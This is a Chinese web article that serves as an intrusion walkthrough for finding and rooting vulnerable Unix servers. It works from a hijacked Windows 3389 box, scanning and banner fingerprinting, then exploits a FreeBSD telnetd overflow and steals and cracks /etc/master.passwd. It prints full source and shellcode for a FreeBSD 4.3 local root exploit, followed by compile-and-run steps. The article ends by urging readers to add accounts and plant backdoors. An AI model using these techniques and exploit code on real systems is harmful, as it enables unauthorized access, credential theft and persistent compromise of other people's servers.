如何寻找Unix漏洞服务器(图)

安全 网站安全
为什么说是我和x-laser一起找漏洞服务器呢?因为我们的一切操作全部是在3389漏洞服务器上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)

为什么说是我和x-laser一起找漏洞服务器呢?因为我们的一切操作全部是在3389漏洞服务器上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)

这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix漏洞服务器。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。
现在我们要做的是找出大量unix的漏洞服务器,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描

我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.如下

 

我们扫到了两台linux,….. ..#..’是linux的判断符.
……..#..’..则是sunos的判断符,如此等等,大家用用就有经验了.

言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。

由于要发送16M的东西,所以可能会慢点
等到成功后,会出现 command ?
这是输入 id
可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
adow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下

?受影响版本: FreeBSD 4.3 4.2 4.1 4.0

早期版本也许受影响 测试程序使用方法:

netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done #   

发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。

题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c

/* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski */ #include #include #include int vv1; #define MYSIG SIGINT //exec "/tm
p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"
); while(42); }

/* 极端网络安全小组 */


可以找到可写的地方,然后cat >vv.c 回车
(鼠标右健粘贴)
ctrl + d保存
gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)
cp /bin/csh /tmp
./vv
这样就执行了,一般可以得到root.注意第二句,这是代码的需要
然后就去adduser然后再放一堆后门上去吧
几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了

【编辑推荐】

  1. 如何增强Linux和Unix服务器系统安全性
  2. Unix主机安全漏洞分析及漏洞扫描器的设计与实现
  3. Unix的Web服务器安全指南
责任编辑:Oo小孩儿 来源: 安全中国
相关推荐

2011-10-14 10:24:14

UNIX服务器云计算

2010-04-27 15:29:27

2010-04-29 17:08:03

2010-04-15 13:26:12

Unix操作系统

2010-07-14 09:52:50

SQL Server服

2010-04-08 15:49:53

Unix服务器

2010-04-29 18:01:42

Unix服务器

2010-05-04 16:57:12

Unix服务器

2010-01-12 09:32:20

2010-05-04 17:40:48

Unix服务器

2009-09-17 18:05:51

Nis服务器

2010-05-10 14:14:24

Unix服务器

2010-04-08 09:14:19

Unix服务器

2009-03-04 06:37:00

2010-04-14 17:37:49

RemoteApp

2009-08-30 14:57:59

UNIX服务器作系统UNIX

2010-04-29 12:09:42

Unix服务器

2011-03-23 13:59:43

2010-04-08 17:43:44

Unix操作系统

2021-04-16 11:01:28

ExchangeNSA漏洞
点赞
收藏

51CTO技术栈公众号